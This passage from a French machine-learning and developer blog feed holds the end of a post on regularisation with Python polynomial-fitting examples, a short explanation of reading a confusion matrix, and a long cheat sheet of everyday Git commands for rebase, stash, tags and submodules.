<p>Cela permet de, comme son nom d&rsquo;indique, régulariser les erreurs d&rsquo;apprentissage. Supposez que vous créez un <em>estimator</em> KNN avec k=1, il est évident qu&rsquo;il y aura des erreurs sur vos données d&rsquo;apprentissage.</p>
<blockquote>
<p>Wikipédia
&ldquo;La régularisation fait référence à un processus consistant à ajouter de l&rsquo;information à un problème pour éviter le surapprentissage&rdquo;</p></blockquote>
<p>L&rsquo;idée principale de la régularisation est qu&rsquo;il est préférable de construire des modèles plus simples même s&rsquo;ils conduisent à plus d&rsquo;erreurs sur les données d&rsquo;apprentissage.</p>
<br/>
<p><strong>Un schéma vaut mieux qu&rsquo;un long discours</strong></p>
<p><img src="/images/regularisation.png" alt="image"></p>
<br/>
<p>On part des données suivantes:</p>
<pre tabindex="0"><code>import numpy as np
rng = np.random.RandomState(0)
x = 2 * rng.rand(100) - 1

f = lambda t: 1.2 * t ** 2 + .1 * t ** 3 - .4 * t ** 5 - .5 * t ** 9
y = f(x) + .4 * rng.normal(size=100)

plt.figure()
plt.scatter(x, y, s=4)
</code></pre><br/>
<p><em>Résultat:</em></p>
<p><img src="/images/scatter-plot2.png" alt="image"></p>
<p>On remplit 2 estimateurs avec des données ayant des polynômes 4 et 9.</p>
<pre tabindex="0"><code>x_test = np.linspace(-1, 1, 100)

plt.figure()
plt.scatter(x, y, s=4)

X = np.array([x**i for i in range(5)]).T
X_test = np.array([x_test**i for i in range(5)]).T
order4 = LinearRegression()
order4.fit(X, y)
plt.plot(x_test, order4.predict(X_test), label=&#39;4th order&#39;)

X = np.array([x**i for i in range(10)]).T
X_test = np.array([x_test**i for i in range(10)]).T
order9 = LinearRegression()
order9.fit(X, y)
plt.plot(x_test, order9.predict(X_test), label=&#39;9th order&#39;)

plt.legend(loc=&#39;best&#39;)
plt.axis(&#39;tight&#39;)
plt.title(&#39;Fitting a 4th and a 9th order polynomial&#39;)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/polynomes.png" alt="image"></p>
<br/>
<p>Quelle courbe préférez-vous ?</p>
<p>Le polynôme de degré 9 a tendance à passer par tous les points du graphique. Il va intégrer le bruit spécifique à l’échantillon d’entraînement; ce qui conduira notre modèle à ne pas avoir une bonne performance sur de nouveaux exemples.</p>
<p>Un des risques majeurs avec ce type de modèles est le surapprentissage.
La régularisation donc, est une technique permettant de (régulariser) rêgler ce phénomène.</p>
<br/>
<h1 id="5-example-de-régularisation-l2">5. Example de Régularisation L2</h1>
<p>Example de calcul de la distance Euclidienne entre 2 points de chaque pair X et Y:</p>
<p><img src="/images/distance_euclidienne.png" alt="image"></p>
<pre tabindex="0"><code>lower_boundary = 0
upper_boundary = 1
n = 5 # dimension
sample_size = 10000

np.random.seed(9001) # set the seed to yield reproducible results

X = np.random.uniform( low=lower_boundary, high=upper_boundary, size=(sample_size, n) )
Y = np.random.uniform( low=lower_boundary, high=upper_boundary, size=(sample_size, n) )

print( &#39;X: &#39;, X )
print( &#39;Y: &#39;, Y )
</code></pre><p><img src="/images/paire_x_y.png" alt="image"></p>
<br/>
<pre tabindex="0"><code>from sklearn.metrics.pairwise import euclidean_distances

euclidean_distances_vector_l = []
for index, x in enumerate(X):
    euclidean_distances_vector_l.append(euclidean_distances(x.reshape(1, -1), Y[index].reshape(1, -1)))
</code></pre><br/>
<blockquote>
<p><code>x.reshape(1, -1)</code> permet d&rsquo;un vecteur à une matrice de dimension 2 ayant autant de colonnes que d&rsquo;éléments dans le vecteur</p></blockquote>
<br/>
<p>Alternative en utilisant des calculs matriciels:</p>
<pre tabindex="0"><code>euclidean_distances_vector_l_vectorized = np.sqrt(np.sum((X - Y) * (X - Y), axis=1))
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Comment lire une Matrice de confusion</title>
            <link>https://leandeep.com/comment-lire-une-matrice-de-confusion/</link>
            <pubDate>Thu, 01 Oct 2015 20:30:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comment-lire-une-matrice-de-confusion/</guid>
            <description>&lt;p&gt;Chaque colonne de la matrice représente le nombre d&amp;rsquo;occurrences d&amp;rsquo;une classe estimée, tandis que chaque ligne représente le nombre d&amp;rsquo;occurrences d&amp;rsquo;une classe réelle (ou de référence). Les occurrences utilisées pour chacune de ces 2 classes doivent être différentes.&lt;/p&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;p&gt;On considère un système de classification dont le but est de classer du mail (courrier électronique) en deux classes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;courriel pertinent ou&lt;/li&gt;
&lt;li&gt;pourriel intempestif.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On va vouloir savoir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Combien de courriels seront faussement estimés comme des pourriels (fausses alarmes) et&lt;/li&gt;
&lt;li&gt;combien de pourriels ne seront pas estimés comme tels (non détections) et donc classifiés comme courriels.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On va supposer qu&amp;rsquo;on a expérimenté notre classificateur sur 100 courriels et sur 100 pourriels, constituant ainsi un jeu initial de 200 mails correspondant au contenu de la classe réelle.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Chaque colonne de la matrice représente le nombre d&rsquo;occurrences d&rsquo;une classe estimée, tandis que chaque ligne représente le nombre d&rsquo;occurrences d&rsquo;une classe réelle (ou de référence). Les occurrences utilisées pour chacune de ces 2 classes doivent être différentes.</p>
<p>Exemple:</p>
<p>On considère un système de classification dont le but est de classer du mail (courrier électronique) en deux classes:</p>
<ul>
<li>courriel pertinent ou</li>
<li>pourriel intempestif.</li>
</ul>
<p>On va vouloir savoir:</p>
<ul>
<li>Combien de courriels seront faussement estimés comme des pourriels (fausses alarmes) et</li>
<li>combien de pourriels ne seront pas estimés comme tels (non détections) et donc classifiés comme courriels.</li>
</ul>
<p>On va supposer qu&rsquo;on a expérimenté notre classificateur sur 100 courriels et sur 100 pourriels, constituant ainsi un jeu initial de 200 mails correspondant au contenu de la classe réelle.</p>
<p>La matrice de confusion suivante se lit alors comme suit:</p>
<ul>
<li>horizontalement, sur les 100 courriels initiaux (ie : 95+5), 95 ont été estimés par le système de classification comme tels et 5 ont été estimés comme pourriels (ie : 5 faux-négatifs),</li>
<li>horizontalement, sur les 100 pourriels initiaux (ie : 3+97), 3 ont été estimés comme courriels (ie : 3 faux-positifs) et 97 ont été estimés comme pourriels,</li>
<li>verticalement, sur les 98 mails (ie : 95+3) estimés par le système comme courriels, 3 sont en fait des pourriels,</li>
<li>verticalement, sur les 102 mails (ie : 5+97) estimés par le système comme pourriels, 5 sont en fait des courriels.</li>
</ul>
<p><img src="/images/matrice-de-classification.png" alt="image"></p>
<p><em>Source: Wikipedia.fr</em></p>
]]></content>
        </item>
        
        <item>
            <title>Config, Commandes et tips utiles Git</title>
            <link>https://leandeep.com/config-commandes-et-tips-utiles-git/</link>
            <pubDate>Sat, 19 Sep 2015 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/config-commandes-et-tips-utiles-git/</guid>
            <description>&lt;h2 id=&#34;indispensable-à-savoir&#34;&gt;Indispensable à savoir&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Index&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L’index est une zone qui permet de préparer un commit.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;HEAD&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;HEAD est la référence sur le commit sur lequel on se trouve actuellement. On le change avec git checkout.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;rebase-vs-merge&#34;&gt;Rebase vs Merge&lt;/h2&gt;
&lt;p&gt;Préférer le rebase pour garder un historique propre&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;rebase&#34;&gt;Rebase&lt;/h2&gt;
&lt;p&gt;Eviter &lt;code&gt;git pull&lt;/code&gt; pour éviter que Git ne considère notre branche locale et remote comme 2 branches différentes alors que ce sont les mêmes.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="indispensable-à-savoir">Indispensable à savoir</h2>
<p><strong>Index</strong></p>
<p>L’index est une zone qui permet de préparer un commit.</p>
<br/>
<p><strong>HEAD</strong></p>
<p>HEAD est la référence sur le commit sur lequel on se trouve actuellement. On le change avec git checkout.</p>
<br/>
<h2 id="rebase-vs-merge">Rebase vs Merge</h2>
<p>Préférer le rebase pour garder un historique propre</p>
<br/>
<h2 id="rebase">Rebase</h2>
<p>Eviter <code>git pull</code> pour éviter que Git ne considère notre branche locale et remote comme 2 branches différentes alors que ce sont les mêmes.</p>
<p>Faire un rebase:</p>
<pre tabindex="0"><code>git pull --rebase 
ou 
git rebase origin/master
</code></pre><p>Les commits qui n’existaient que sur la branche master sont supprimés et réappliqués/ rejoués à la suite des commits de la branche origin/master.</p>
<p>En rebasant vos branches avant de les fusionner, vous obtiendrez un historique tout plat et bien plus agréable à parcourir.</p>
<br/>
<p><strong>Exemple 1</strong></p>
<pre tabindex="0"><code>          F---G ← bug2
         /
A---B---E---H---I ← master
     \
      C---D ← bug1
</code></pre><p>En utilisant un rebase avant chaque fusion, on obtient l&rsquo;historique suivant :</p>
<pre tabindex="0"><code>A---B---E---H---I---C---D---F---G ← master
</code></pre><p>Les commandes pour parvenir à ce résultat sont les suivantes, explications juste après.</p>
<pre tabindex="0"><code>git rebase master bug1
git checkout master
git merge bug1
git branch -d bug1
git rebase master bug2
git checkout master
git merge bug2
git branch -d bug2
</code></pre><p>Explications des commandes.</p>
<ul>
<li>Transplante bug1 sur l&rsquo;actuelle branche master. <strong>Si on est déjà en train de bosser sur bug1 on peut se contenter de taper git rebase master</strong></li>
<li>Switche sur master</li>
<li>Fusionne bug1 dans master</li>
<li>Supprime la branche bug1 devenue inutile</li>
<li>Transplante bug2 sur la branche master</li>
<li>Switche sur master</li>
<li>Fusionne bug2 dans master</li>
<li>Supprime bug2 devenue inutile.</li>
</ul>
<br/>
<p><strong>Exemple 2</strong></p>
<blockquote>
<p>Autre manière de faire, peut être plus simple&hellip;</p></blockquote>
<p>En supposant que l&rsquo;on veuille garder la feature branche synchronisée avec la branche develop, voici les commandes à suivre:</p>
<pre tabindex="0"><code>git fetch # depuis la feature branche (vérifier que la feature branche sur laquelle vous travaillez est à jour)

git rebase origin/develop

# S&#39;il y a des conflits, il faut les résoudre un par un.

Utiliser git rebase --continue une fois que tous les conflits sont traités

git push origin feature_branch --force
</code></pre><br/>
<p><strong>Exemple 3 (ultra simple que je recommande)</strong></p>
<pre tabindex="0"><code>git checkout votre_feature_branch
git fetch
git rebase origin/master
</code></pre><p>Et c&rsquo;est tout!</p>
<br/>
<h2 id="merge-quand-même">Merge (quand même)</h2>
<pre tabindex="0"><code>git checkout master
git pull
git checkout your_feature_en_attente
git merge master
</code></pre><br/>
<h2 id="stash">Stash</h2>
<p>Cette commande permet de mettre de côté des modifications de la copie de travail et de l’index.</p>
<br/>
<p><strong>Afficher tous les stash</strong></p>
<pre tabindex="0"><code>git stash list
</code></pre><br/>
<p><strong>Appliquer un stash</strong></p>
<pre tabindex="0"><code># Exemple:
git stash apply stash@{0}
</code></pre><br/>
<p><strong>Annuler un <code>git stash pop</code> ou <code>git stash apply</code> si conflit</strong></p>
<pre tabindex="0"><code>git reset --merge
</code></pre><br/>
<p><strong>Annuler le conflit sur un fichier après git stash (reprendre version serveur)</strong></p>
<pre tabindex="0"><code># Après un $ git stash pop
git add sur_le_fichier_avec_confict
git reset HEAD -- sur_le_fichier_avec_confict
git checkout sur_le_fichier_avec_confict

# Note perso: 
# Tester si git rm --cached sur_le_fichier_avec_confict peut faire le job
</code></pre><br/>
<p><strong>Créer un nouveau stash (stasher tous les fichiers)</strong></p>
<pre tabindex="0"><code>git stash save &#34;&lt;nom du stash&gt;&#34;
</code></pre><br/>
<p><strong>Créer seulement certains fichiers</strong></p>
<p>Add to index changes we don&rsquo;t want to stash and then stash with &ndash;keep-index option.</p>
<pre tabindex="0"><code>git add app/controllers/cart_controller.php
git stash --keep-index
git reset
</code></pre><br/>
<p><strong>Appliquer un stash</strong></p>
<pre tabindex="0"><code>git stash branch myfeature
</code></pre><br/>
<p><strong>Appliquer le dernier stash (LIFO)</strong></p>
<pre tabindex="0"><code>git stash pop
</code></pre><br/>
<p><strong>Voir le contenu du dernier stash</strong></p>
<pre tabindex="0"><code>git stash show -p
</code></pre><br/>
<p><strong>Voir le contenu d&rsquo;un stash spécifique</strong></p>
<pre tabindex="0"><code>git stash show -p stash@{42}
</code></pre><br/>
<h2 id="cherry-picking">Cherry-picking</h2>
<p>Cherry-pick permet de sélectionner un commit quelconque et de l’appliquer sur la branche actuelle.</p>
<pre tabindex="0"><code>git checkout my-feature
git cherry-pick e32c529d
</code></pre><br/>
<h2 id="résoudre-un-conflit">Résoudre un conflit</h2>
<p><strong>Pendant un merge</strong></p>
<p>Après un <code>git merge</code> ou <code>git pull</code>, on commence par exécuter la commande:</p>
<pre tabindex="0"><code>git status # ou gss # ou git st # git stp (voir mes alias)
# On branch master
# Changes to be committed:
#
#       modified:   mon_fichier1
#
# Unmerged paths:
#   (use &#34;git add/rm &lt; file &gt;...&#34; as appropriate to mark resolution)
#
#       both modified:      mon_fichier2
#
</code></pre><p>Puis on corrige le problème de merge grâce à la commande <code>git mergetool</code> qui ouvrira l&rsquo;outil de merge configuré sur votre poste.
Autre possibilité, faire la correction manuellement, faire un <code>git add</code> ou <code>git stage</code> sur le fichier corrigé et enfin un <code>git commit</code>.</p>
<blockquote>
<p>En cas de problème, il est possible d&rsquo;exécuter un <code>git reset --hard HEAD</code> pour revenir en arrière sur le merge</p></blockquote>
<blockquote>
<p>Pour configurer git mergetool, il est possible d&rsquo;utiliser la commande suivante: <code>git config --global merge.tool bc3</code> après avoir téléchargé et installé l&rsquo;extension <a href="https://marketplace.visualstudio.com/items?itemName=hung-vi.terminal-git-mergetool">vscode-ext-git-mergetool</a> pour OSX .</p></blockquote>
<br/>
<p><strong>Pendant un rebase</strong></p>
<pre tabindex="0"><code>git checkout master # ou git co master
git rebase origin/master # ou git pull --rebase

git status
# Unmerged paths:
#   (use &#34;git add/rm &lt; file &gt;...&#34; as appropriate to mark resolution)
#
#       both modified:      mon_fichier
#

git mergetool

# On corrige

git rebase --continue
</code></pre><blockquote>
<p>Pour revenir en arrière (état du dépot) sur un rebase qui se passe mal: <code>git rebase --abort</code></p></blockquote>
<p>Un schéma vaut mieux qu&rsquo;un long discours. Voici ce que fait un rebase:</p>
<p><img src="/images/rebase.png" alt="image"></p>
<br/>
<p><strong>Gérer un conflit sur un binaire</strong></p>
<pre tabindex="0"><code>git checkout --ours -- path_binary_file
git checkout --theirs -- path_binary_file
</code></pre><br/>
<h2 id="réécrire-lhistorique">Réécrire l&rsquo;historique</h2>
<pre tabindex="0"><code>git rebase --interactive HEAD~3
# ou 
# git rebase -i HEAD~3
# ou
# git rebase -i &lt;sha-de-votre-commit&gt; (via git log)
</code></pre><p>Plusieurs options s&rsquo;offrent à nous pour les 3 commits:</p>
<ul>
<li>Supprimer la ligne pour supprimer le commit de l’historique</li>
<li>Changer l’ordre des lignes pour changer l’ordre d’application des commits</li>
<li>Remplacer &ldquo;pick&rdquo; par &ldquo;edit&rdquo; pour pouvoir modifier le commit</li>
<li>Remplacer &ldquo;pick&rdquo; par &ldquo;squash&rdquo; pour merger le commit avec le précédent pour n’en créer qu’un seul</li>
<li>Remplacer &ldquo;pick&rdquo; par &ldquo;reword&rdquo; pour juste changer le message de commit</li>
</ul>
<p>Pour poursuivre la réécriture de l’historique, terminer avec les commandes suivantes:</p>
<pre tabindex="0"><code>git stage
git rebase --continue
</code></pre><br/>
<h2 id="config-en-plus-de-oh-my-zsh">Config (en plus de oh-my-zsh)</h2>
<p>A ajouter au fichier ~/.gitconfig:</p>
<pre tabindex="0"><code>[alias]
        st = status
        stp = status --porcelain
        ci = commit
        br = branch
        co = checkout
        rz = reset --hard HEAD
        pullr = pull --rebase
        unstage = reset HEAD
        lol = log --graph --decorate --pretty=oneline --abbrev-commit
        lolar = log --graph --pretty=&#39;format:%C(auto)%h %d %s %C(green)%an%C(bold blue) %ad&#39; --all --date=relative
        lola = log --graph --decorate --pretty=oneline --abbrev-commit --all
        lpush = &#34;!git --no-pager log origin/$(git currentbranch)..HEAD --oneline&#34;
        lpull = &#34;!git --no-pager log HEAD..origin/$(git currentbranch) --oneline&#34;
        whatsnew = &#34;!git diff origin/$(git currentbranch)...HEAD&#34;
        whatscoming = &#34;!git diff HEAD...origin/$(git currentbranch)&#34;
        currentbranch = &#34;!git branch | grep \&#34;^\\*\&#34; | cut -d \&#34; \&#34; -f 2&#34;
...
[color]
        branch = auto
        diff = auto
        status = auto
        interactive = auto
</code></pre><br/>
<h2 id="télécharger-en-local-les-pull-requests">Télécharger en local les Pull Requests</h2>
<p><strong>Projet par projet</strong></p>
<p>Dans le fichier .git/config, localiser le code qui ressemble à ceci:</p>
<pre tabindex="0"><code>[remote &#34;origin&#34;]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git
</code></pre><p>Maintenant ajouter la ligne suivante:</p>
<pre tabindex="0"><code>(pour Gitlab) fetch = +refs/merge-requests/*/head:refs/remotes/origin/merge-requests/*

# fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
</code></pre><p>La section dans le fichier devrait resssemble à cela:</p>
<pre tabindex="0"><code>[remote &#34;origin&#34;]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git
	fetch = +refs/merge-requests/*/head:refs/remotes/origin/merge-requests/*
</code></pre><p>Maitenant vous pouvez récupérer toutes les PR en cours:</p>
<pre tabindex="0"><code>git fetch origin
From github.com:joyent/node
 * [new ref]         refs/pull/1000/head -&gt; origin/pr/1000
 * [new ref]         refs/pull/1002/head -&gt; origin/pr/1002
 * [new ref]         refs/pull/1004/head -&gt; origin/pr/1004
 * [new ref]         refs/pull/1009/head -&gt; origin/pr/1009
...
</code></pre><p>Vous pouvez faire un checkout sur une pull request en particulier:</p>
<pre tabindex="0"><code>git checkout pr/999
Branch pr/999 set up to track remote branch pr/999 from origin.
Switched to a new branch &#39;pr/999&#39;
</code></pre><br/>
<p><strong>Ajouter automatiquement cette commande à tous les repos</strong></p>
<pre tabindex="0"><code>git config --global --add remote.origin.fetch &#34;+refs/pull/*/head:refs/remotes/origin/pr/*&#34;
</code></pre><br/>
<h2 id="effacer-git-config-globale">Effacer git config globale</h2>
<pre tabindex="0"><code>git config --global --unset user.name
git config --global --unset user.email
</code></pre><br/>
<h2 id="vérifier-la-config-globale">Vérifier la config globale</h2>
<pre tabindex="0"><code>git config --global -l
</code></pre><br/>
<h2 id="git-config-local">git config local</h2>
<pre tabindex="0"><code>git config user.name = &#34;username&#34;
git config user.email = &#34;email&#34;
git config core.sshCommand &#34;ssh -i ~/.ssh/id_rsa_example -F /dev/null&#34;
</code></pre><br/>
<h2 id="préciser-git-ssh-key-globale">Préciser git ssh key globale</h2>
<p>Editer le fichier ~/.ssh/config et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>Host github.com
    HostName github.com
    IdentityFile ~/.ssh/id_rsa_example
</code></pre><br/>
<h2 id="différences-entre-branches">Différences entre branches</h2>
<p><strong>Différences entre branche actuelle et master:</strong></p>
<pre tabindex="0"><code>git diff master
</code></pre><br/>
<p><strong>Différences entre 2 branches (par exemple master et staging):</strong></p>
<pre tabindex="0"><code>git diff master..staging
</code></pre><br/>
<p><strong>Seulement montrer les fichiers différents entre 2 branches (sans les changements):</strong></p>
<pre tabindex="0"><code>git diff --name-status master..staging
</code></pre><br/>
<p><strong>Différence entre un fichier local (déjà en stage) et le dernier commit (ou l&rsquo;avant dernier):</strong></p>
<pre tabindex="0"><code>git diff &lt;commit&gt; &lt;path&gt;
# Dernier commit:
git diff HEAD^ myfile
# Avant dernier commit:
git diff HEAD^^ myfile
# Equivalent à:
git diff HEAD~2 myfile

Example:
git diff HEAD~1 HEAD -- mon_fichier.js
git diff HEAD~2 HEAD -- mon_fichier.js
</code></pre><br/>
<h2 id="commandes-en-vrac">Commandes en vrac</h2>
<p><strong>Annuler la commande <code>git commit</code> (et donc conserver/ récupérer tous les changements qui étaient prêts à être pushés:</strong></p>
<pre tabindex="0"><code>git reset --soft HEAD^
</code></pre><br/>
<p><strong>Modifier le dernier commit:</strong></p>
<pre tabindex="0"><code>git commit --amend
</code></pre><br/>
<p><strong>Annuler le dernier git amend:</strong></p>
<pre tabindex="0"><code>git reset --soft HEAD@{1}
</code></pre><br/>
<p><strong>Annuler le dernier git cherry-pick (successful):</strong></p>
<pre tabindex="0"><code>git reset --hard HEAD~1
</code></pre><br/>
<p><strong>Renommer une branche locale:</strong></p>
<pre tabindex="0"><code>git checkout ancien_nom
git branch -m nouveau_nom
git push origin nouveau_nom
</code></pre><br/>
<p><strong>Effacer une branche locale:</strong></p>
<pre tabindex="0"><code>git branch -d new-branch
</code></pre><br/>
<p><strong>Effacer une branche remote:</strong></p>
<pre tabindex="0"><code>git push origin --delete new-branch
</code></pre><br/>
<p><strong>Retourner sur la dernière branche:</strong></p>
<pre tabindex="0"><code>git checkout -
</code></pre><br/>
<p><strong>Contrôler le comportement de git push par default pour éviter de devoir specifier la branch (sur laquelle on est) avant de pusher:</strong></p>
<pre tabindex="0"><code>git config --global push.default current
</code></pre><br/>
<p><strong>Annuler les changements en local d&rsquo;un fichier</strong></p>
<pre tabindex="0"><code>git checkout filename
</code></pre><br/>
<p><strong>Pusher un seul commit</strong></p>
<pre tabindex="0"><code>git push &lt;remote_name&gt; &lt;commit SHA&gt;:&lt;remote_branch_name&gt;
</code></pre><p>La branche &lt;remote_branch_name&gt; doit exister sur remote. (Si ce n&rsquo;est pas le cas, il est possible d&rsquo;utiliser <code>git push &lt;remote_name&gt; &lt;commit SHA&gt;:refs/heads/&lt;remote_branch_name&gt;</code> pour la créer automatiquement.)</p>
<blockquote>
<p>Note:
<code>git push --set-upstream origin dev</code> ou <code>git push -u origin dev</code>
Cette commande envoie la branche « dev » vers le dépôt « origin » (i.e. celui dont on a fait un clone au départ), et l&rsquo;option &ndash;set-upstream permet de dire à Git de se souvenir qu&rsquo;un « git push » de notre branche « dev » a été fait. Le prochain push pourra donc se faire simplement avec un simple <code>git push</code>.</p></blockquote>
<br/>
<p><strong>Annuler le dernier commit</strong></p>
<p>Les commandes à appliquer dépendent du dernier commit:</p>
<ul>
<li>
<p>Quand le dernier commit <strong>n&rsquo;est pas</strong> le commit initial, il suffit d&rsquo;exécuter la commance suivante: <code>git reset HEAD~</code></p>
</li>
<li>
<p>Quand le dernier commit <strong>est</strong> le commit initial, il faut exécuter les commandes suivantes: <code>git update-ref -d HEAD</code> puis <code>git rm --cached -r .</code></p>
</li>
</ul>
<br/>
<p><strong>Annuler le dernier commit et garder tous les changements staged</strong></p>
<pre tabindex="0"><code>git reset --soft HEAD~
</code></pre><p><em>C&rsquo;est différent de <code>git reset HEAD~</code> qui ne garde pas staged les derniers changements.</em></p>
<br/>
<p><strong>Annuler le dernier git pull</strong></p>
<pre tabindex="0"><code>git reset HEAD~1 --hard
</code></pre><blockquote>
<p><code>--hard</code> précise à git que l&rsquo;on souhaite avoir notre répertoire de travail avec le contenu du commit choisi</p></blockquote>
<br/>
<p><strong>Pull remote branch sans merge</strong></p>
<p>On suppose que l&rsquo;on est déjà sur la branch que l&rsquo;on souhaite resynchroniser</p>
<pre tabindex="0"><code>git pull --rebase
</code></pre><br/>
<p><strong>Retirer un commit particulier sur une branch</strong></p>
<pre tabindex="0"><code>git reset --hard commit-hash
</code></pre><br/>
<p><strong>Voir les derniers commits locaux pas encore pushé sur l&rsquo;origin:</strong></p>
<pre tabindex="0"><code>git log --branches --not --remotes
</code></pre><br/>
<p><strong>Effacer les fichiers du working directory en incluant les nouveaux untracked files</strong></p>
<pre tabindex="0"><code>git clean -fd
</code></pre><br/>
<p><strong>Lister les tags sur un commit</strong></p>
<pre tabindex="0"><code>git tag --points-at HEAD
</code></pre><br/>
<p><strong>Tagguer (le dernier commit d&rsquo;) une branche</strong></p>
<pre tabindex="0"><code>git tag mon_tag
git push origin mon_tag

# (non recommandé) pousser tous les tags
git push --tags
</code></pre><br/>
<p><strong>Lister les fichiers modifiés dans une branche par rapport à master:</strong></p>
<pre tabindex="0"><code>git diff --name-only ma_branche $(git merge-base ma_branche master)
</code></pre><br/>
<p><strong>Ajouter un tag sur un commit particulier</strong></p>
<pre tabindex="0"><code>git tag -a v1.0 d613c59
git push origin v1.0
</code></pre><br/>
<p><strong>Effacer un tag local et remote</strong></p>
<pre tabindex="0"><code># Effacement local
git tag -d v1.0

# Effacement remote
git push --delete origin v1.0
ou
git push origin :refs/tags/v1.0
</code></pre><br/>
<p><strong>Lister les commits entre un tag et HEAD</strong></p>
<pre tabindex="0"><code>git log --pretty=oneline HEAD...v1.0
</code></pre><blockquote>
<p>Alternative sans les commits de merge: <code>git log --pretty=oneline HEAD...v1.0 --no-merges</code></p></blockquote>
<blockquote>
<p>Alternative avec tous les détails: <code>git log HEAD...v1.0</code></p></blockquote>
<blockquote>
<p>Autre alternative: <code>git log --pretty=format:&quot;%h; author: %cn; date: %ci; subject:%s&quot; HEAD...v1.0</code></p></blockquote>
<br/>
<p><strong>Lister les commits de merge depuis le dernier tag et afficher uniquement le commit message</strong></p>
<pre tabindex="0"><code>git log $(git describe --abbrev=0 --tags)..HEAD --merges --pretty=format:&#34;%b&#34;
</code></pre><br/>
<p><strong>Lister les commits de merge entre les 2 derniers tags et afficher uniquement le commit message</strong></p>
<pre tabindex="0"><code>git log $(git describe --abbrev=0 --tags `git rev-list --tags --skip=1 --max-count=1`)..$(git describe --abbrev=0 --tags `git rev-list --tags --skip=0 --max-count=1`) --merges --pretty=format:&#34;%b&#34;
</code></pre><br/>
<p><strong>Récupérer le dernier tag</strong></p>
<pre tabindex="0"><code>git describe --abbrev=0 --tags `git rev-list --tags --skip=0 --max-count=1`
</code></pre><br/>
<p><strong>Récupérer l&rsquo;avant dernier tag</strong></p>
<pre tabindex="0"><code>git describe --abbrev=0 --tags `git rev-list --tags --skip=0 --max-count=1`
</code></pre><br/>
<p><strong>Voir les commits par contributeur depuis la dernière release/tag</strong></p>
<pre tabindex="0"><code>git shortlog --merges $(git describe --abbrev=0 --tags)..HEAD
</code></pre><br/>
<p><strong>Get current branch</strong></p>
<pre tabindex="0"><code>git rev-parse --abbrev-ref HEAD
</code></pre><br/>
<p><strong>Voir les changements/ commits sur un fichier</strong></p>
<pre tabindex="0"><code>git log --follow -p -- full_path_mon_fichier
# --follow permet de suivre un fichier s&#39;il a été renommé
</code></pre><blockquote>
<p>Alternative:
<code>find . -name &quot;*mon_fichier&quot; | xargs git log</code></p></blockquote>
<blockquote>
<p><strong>Super Alternative:</strong>  <br/>
<code>tig full_path_mon_fichier</code> ou <code>tig '*mon_fichier'</code> <br/>
Installation de tig via <code>brew install tig</code> ou <code>apt install tig</code> <br/>
<a href="http://jonas.nitro.dk/tig/manual.html">Tig Full documentation</a></p></blockquote>
<br/>
<h2 id="naviguer-dans-tout-son-historique-git">Naviguer dans tout son historique Git</h2>
<pre tabindex="0"><code>$ git init
Initialized empty Git repository in .git/

$ echo &#34;testing reset&#34; &gt; file1
$ git add file1
$ git commit -m &#39;added file1&#39;
Created initial commit 1a75c1d: added file1
 1 files changed, 1 insertions(+), 0 deletions(-)
 create mode 100644 file1

$ echo &#34;added new file&#34; &gt; file2
$ git add file2
$ git commit -m &#39;added file2&#39;
Created commit f6e5064: added file2
 1 files changed, 1 insertions(+), 0 deletions(-)
 create mode 100644 file2

$ git reset --hard HEAD^
HEAD is now at 1a75c1d... added file1

$ cat file2
cat: file2: No such file or directory

$ git reflog
1a75c1d... HEAD@{0}: reset --hard HEAD^: updating HEAD
f6e5064... HEAD@{1}: commit: added file2

$ git reset --hard f6e5064
HEAD is now at f6e5064... added file2

$ cat file2
added new file
</code></pre><br/>
<h2 id="taille-en-local-du-repo">Taille en local du repo</h2>
<pre tabindex="0"><code>$ git count-objects -v -H

count: 6
size: 24.00 KiB
in-pack: 0
packs: 0
size-pack: 0 bytes
prune-packable: 0
garbage: 0
size-garbage: 0 bytes
</code></pre><br/>
<h2 id="bisect">Bisect</h2>
<blockquote>
<p>Le bisect permet de réaliser une dichotimie sur un range de commit afin d&rsquo;identifier celui qui génère une régression.</p></blockquote>
<pre tabindex="0"><code>$ git bisect start          # Start the binary search process
$ git bisect bad            # Identify the end of the range
$ git bisect good v4.2.0    # Identify the start of the range
</code></pre><p>Puis après un test sur votre app ou tests unitaires préciser soit <code>git bisect bad</code> ou <code>git bisect good</code></p>
<br/>
<h2 id="ajouter-un-submodule-dans-son-repo">Ajouter un submodule dans son repo</h2>
<pre tabindex="0"><code>git submodule add https://github.com/&lt;user&gt;/mon_repo_as_submodule mon_repo_as_submodule
</code></pre><br/>
<h2 id="cloner-un-repo-git-contenant-un-submodule">Cloner un repo git contenant un submodule</h2>
<pre tabindex="0"><code>git clone --recursive https://github.com/&lt;user&gt;/mon_repo
</code></pre><br/>
<h2 id="effacer-un-submodule-du-repo">Effacer un submodule du repo</h2>
<pre tabindex="0"><code>git submodule deinit -f — mon_repo_as_submodule
rm -rf .git/modules/mon_repo_as_submodule
git rm -f mon_repo_as_submodule
</code></pre><br/>
<h2 id="pull-git-submodules-après-avoir-cloné-un-projet-sur-github">Pull git submodules après avoir cloné un projet sur GitHub</h2>
<blockquote>
<p>Normalement la commande suivante est automatiquement jouée par git sur les nouvelles versions</p></blockquote>
<pre tabindex="0"><code>git submodule update --init --recursive
</code></pre><br/>
<h2 id="importer-les-mises-à-jour-dun-submodule-dans-le-repo">Importer les mises à jour d&rsquo;un submodule dans le repo</h2>
